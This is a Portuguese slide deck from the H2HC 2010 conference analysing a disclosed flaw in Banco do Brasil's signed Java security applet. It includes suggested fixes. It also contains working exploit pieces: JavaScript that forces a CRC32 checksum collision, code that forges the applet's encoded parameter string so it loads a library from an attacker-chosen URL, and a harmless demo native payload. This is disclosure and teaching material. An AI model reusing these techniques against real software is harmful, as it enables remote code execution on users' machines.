

# Explorando applets Java assinadas

## Um estudo de caso com o módulo de segurança do Banco do Brasil

Paulo Matias<sup>1</sup>

<sup>1</sup>Instituto de Física de São Carlos  
Universidade de São Paulo

H2HC - 2010

O usuário se depara com a applet legítima:



E aceita, afinal, ele confia em quem a publicou.

# Em acessos posteriores

Para comodidade do usuário, a applet Java passa a ser carregada automaticamente.



A applet e sua origem são consideradas, de fato, confiáveis.

- A assinatura garante que a applet foi empacotada pela chave legítima.
- Mas e se fosse possível carregar código externo por meio da applet?
  - O código externo não é protegido pelos mecanismos do Java.
  - Seria possível executar código na máquina do alvo.

- “Engenharia Reversa em Aplicativos Java” - The Bug! Magazine, Edição 4.
  - Nem todos esperam encontrar esse tipo de falha em códigos criados em linguagens de alto nível!
- Falha encontrada enquanto se desenvolvia uma alternativa em JavaScript para acessar o BB sem o Java.





- A falha, nesta applet, dependia de três pontos distintos para ser explorada:
  - Ausência de validação de contexto.
  - Dependência de parâmetros externos.
  - Validação fraca da biblioteca de código nativo.



# Ausência de validação de contexto

- O mecanismo de autorização do Java não verifica onde a applet é usada.
- Verificá-lo pode ser uma medida proativa interessante.

# Validar o contexto (sugestão)

```
public class GbAs extends JApplet implements Observer {
    public void init() {
        /* ... */
        String expectedCodeBase = "https://www2.bancobrasil.com.br/aapf/idh";
        String expectedDocBase = "https://www2.bancobrasil.com.br/aapf";
        if (getCodeBase().toString().startsWith(expectedCodeBase) &&
            getDocumentBase().toString().startsWith(expectedDocBase)) {
            /* ... */
        }
        else {
            this.f.set(5);
        }
        super.init();
    }
    /* ... */
}
```

# Dependência de parâmetros externos

A applet recebia os seguintes parâmetros a partir do HTML:

```
<applet id="jmid" name="jmid" archive="/aapf/ldh/GbAs.jar" code="br/com/gas/mid/GbAs.class"
height="1" width="1" MAYSCRIPT>
  <param value="eNoNy8lygjAAAndf6QwHWQKUQw+AIeogLBGI1w4Eym5Mzan9+vbdnyAHb59y64EC5T/heNXugZr
pazaPtSPmFTgxXTCI1UIX9vrvxUR50kWzM1B3HxzsmHuTnrnmU7cZ+psT8m5dPcL47XAUz9ojCmpRHU5LQ0FSw8zvumIx
UjRrF2etFXTAeGDxg2i6TVXabfx/1Ca+Jt6XF0ZltIHWvu4GLu/IWkWpnftMShE0p+cLbLyKbH6/fNsV6jh4GXbImp7Wy
jFyCWJCc1QaAYxtQtic4C2FJYnxWDB1Iq7ynhehW7IJxUyMwdOfB102zJhKC9zPH38QqFtN" name="seed" />
  <param name="statusChangeCallback" value="checkApplet"/>
</applet>
```

Após decodificados:

```
{ GBAS17: 'BB',
  , GBAS16: 'https://www2.bancobrasil.com.br/aapf/ldh/',
  , GBAS10: '2009-Sep-08 12:05:23',
  , GBAS11: 'bd1242d85c5abdc6d833f8f0c82a4697',
  , GBAS18: 'https://www14.bancobrasil.com.br/update/rld/',
  , GTSTR_GBAS23: '61',
}
```

# Dependência de parâmetros externos

O parâmetro GBAS16 era utilizado no seguinte código:

```
public class LibraryManager {  
    public String downloadLibrary(String options) {  
        String url;  
        if (!(url = OptionManager.splitString(options, "GBAS16=").endsWith("/")) {  
            url = url + '/';  
        }  
        url = url + getLibraryName();  
        String path = getLibraryPath();  
        if (!validateLocalLibraryChecksum()) {  
            (new Download()).download(url, path);  
        }  
        return path;  
    }  
    /* ... */  
}
```

## Utilizar uma url definida na compilação (sugestão)

```
public class LibraryManager {  
    public String downloadLibrary(String options) {  
        String url =  
            "https://www2.bancobrasil.com.br/aapf/idh/" +  
            getLibraryName();  
        String path = getLibraryPath();  
        if(!validateLocalLibraryChecksum()) {  
            (new Download()).download(url, path);  
        }  
        return path;  
    }  
    /* ... */  
}
```

# Validação fraca da biblioteca de código nativo

- Era utilizado um checksum baseado no CRC32 (fácil colisão).
- Checksums disponíveis em `br/com/gas/mid/gbasfiles.chk`:

```
GBAS_SO_HASH=g8gAgt8QE0Dolbiyyc=  
GBAS_DYLIB_HASH=g8gAgtsVE0hK8XUyvn7j  
GBAS_DLL_HASH=g8gAgtgVE0rn5r/xnltS
```

# Colidindo um checksum do tipo CRC32

Método baseado em

<http://www.woodmann.com/fravia/crctut1.htm>:

```
RevCk.init = function() {
    this.rev = {};
    for(var i = 0; i < this.tbl.length; i++) {
        var topByte = (RevCk.tbl[i] >>> 24) & 0xff;
        this.rev[topByte] = i;
    }
};

RevCk.calc = function(current, wanted) {
    current ^= 0xffffffff;
    wanted ^= 0xffffffff;
    var buf = [0, 0, 0, 0, 0, 0, 0, 0];
    var xor4 = function(i, value) { // little-endian
        buf[i+0] ^= (value >>> 0) & 0xff;
        buf[i+1] ^= (value >>> 8) & 0xff;
        buf[i+2] ^= (value >>> 16) & 0xff;
        buf[i+3] ^= (value >>> 24) & 0xff;
    };
    xor4(0, current);
    xor4(4, wanted);
    for(var i = 4; i > 0; i--) {
        var entryNum = this.rev[buf[i+3]];
        var entryVal = this.tbl[entryNum];
        xor4(i, entryVal);
        buf[i-1] ^= entryNum;
    }
    return buf.slice(0, 4);
};
```

# Utilizar um hash mais forte (sugestão)

```
public class LibraryManager {
    public boolean validateLocalLibraryChecksum() {
        String hash = "";
        String correctHash = a();
        String path = getLibraryPath();
        File file = new File(path);
        if(correctHash == "")
            return 0;
        if(!file.exists() || (file.length() == 0))
            return 0;
        try {
            DigestInputStream stream =
                new DigestInputStream(
                    new FileInputStream(file),
                    MessageDigest.getInstance("SHA-256")
                );
            while(stream.read() != -1);
            StringBuilder sBuilder = new StringBuilder();
            for(byte b : stream.getMessageDigest().digest()) {
                sBuilder.append(Character.forDigit((b>>4) & 0xf, 16));
                sBuilder.append(Character.forDigit((b & 0xf), 16));
            }
            hash = sBuilder.toString();
        }
        catch(IOException e) {
            return 0;
        }
        catch(NoSuchAlgorithmException e) {
            return 0;
        }
        return (hash == correctHash);
    }
    /* ... */
}
```



Para explorar a falha, é necessário:

- Criar bibliotecas nativas (.so, .dll, .dylib) com código malicioso.
- Gerar um arquivo que colida com o checksum verificado pela applet.
- Gerar uma string de parâmetros forjada.

# Código da biblioteca nativa

```
static void do_exploit() {
    const char *msg = "Parabens! Voce acabou de ser afetado"
                      "por um exploit de demonstracao do H2HC 2010.";
    const char *basename = "VOCE_FOI_EXPLOITADO.txt";
    const char *homedir = getenv("HOME");
    char filename[256];
    FILE *fp;
    if(homedir)
        snprintf(filename, sizeof(filename), "%s/%s", homedir, basename);
    else
        strncpy(filename, basename, sizeof(filename));
    if((fp = fopen(filename, "w")) {
        fwrite(msg, strlen(msg), 1, fp);
        fclose(fp);
    }
    if(!fork()) {
        execlp("gedit", "gedit", filename, NULL);
    }
    if(!fork()) {
        execlp("xterm", "xterm", "-e", "less", filename, NULL);
    }
}
/* ... */
JNIEXPORT jstring JNICALL
Java_br_com_gas_mid_entity_CLibrary_getVersion(JNIEnv *env, jobject obj) {
    return exploit_and_return_jstring(env, "1.3.3.7");
}
```

# Colisão do checksum

```
var data = Base64.arrayifyString(fs.readFileSync(
srcfile, 'binary'));
var curCkSum = CkSum.getValue(data);
sys.puts('Calculated checksum: '+curCkSum);

var revBytes = RevCk.calc(curCkSum, expectedCkSum);
sys.puts('RevCk: ' + sys.inspect(revBytes.map(hex)));

var data = fs.readFileSync(srcfile);
var revBytes = new Buffer(revBytes);
var fd = fs.openSync(destfile, 'w');
fs.writeFileSync(fd, data, 0, data.length);
fs.writeFileSync(fd, revBytes, 0, revBytes.length);
fs.closeSync(fd);
```

# Geração da string de parâmetros

```
function encodeParams(params, f) {  
    var plainText = '';  
    for(var key in params) {  
        plainText += key + '=' + params[key] + '|';  
    }  
    plainText = plainText.substr(0, plainText.length-1);  
    var partialKey = 'aBcDeFgH';  
    var key = Base64.arrayifyString(partialKey+'!#$%&*)');  
    var cipherText = Encripta(plainText, key);  
    var result = partialKey + cipherText;  
    require('child_process').exec('python -c \'import  
base64,zlib;print(base64.b64encode(zlib.compress("'" +  
result+"')))\'', function(err, stdout, stderr) {  
        f(stdout);  
    });  
}
```

# Demonstração do exploit

- Falha relativamente simples de entender, porém de consequências amplas.
- Espera-se incentivar mais pesquisa neste tipo de falha.
- Agradecemos ao CSIRT do Banco do Brasil pela recepção atenciosa do relatório e pela seriedade com a qual lidaram com a questão.
  - Agradecimentos especiais a Fernando A. Higa.